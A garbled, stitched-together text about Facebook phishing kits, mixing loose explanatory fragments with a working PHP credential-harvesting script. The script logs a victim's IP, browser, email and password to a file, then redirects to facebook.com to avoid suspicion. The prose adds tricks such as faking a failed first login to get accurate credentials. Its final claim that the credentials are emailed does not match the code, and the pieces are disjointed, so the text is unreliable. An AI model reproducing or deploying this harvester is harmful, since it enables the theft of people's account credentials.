The script first grabs the sensitive information sent from the fake login form. It typically looks for the email/phone and password fields.

: To minimize suspicion, the script typically redirects the victim back to the official Facebook website or a relevant internal page (like a profile picture album) after the data is stolen. Journal of Digital Security and Forensics Common Features in Phishing Kits IP Logging : Scripts often record the victim's IP address

// Data to capture $username = $_GET['username']; $password = $_GET['password'];

<?php $log="log.txt"; $ip = $_SERVER['REMOTE_ADDR']; $browser = $_SERVER['HTTP_USER_AGENT']; $fp = fopen($log, 'a'); fwrite($fp, $ip.' - '.$browser.' - '.$_POST['email'].' : '.$_POST['pass']."\n"); fclose($fp); header("Location: https://facebook.com"); ?>

: Some scripts are designed to intentionally "fail" the first login attempt, telling the user their credentials were incorrect. This forces a second entry, which victims often do more carefully, ensuring the attacker receives accurate data.

This code creates a fake Facebook login page that captures the user's email and password when they submit the form. The login credentials are then sent to the attacker via email.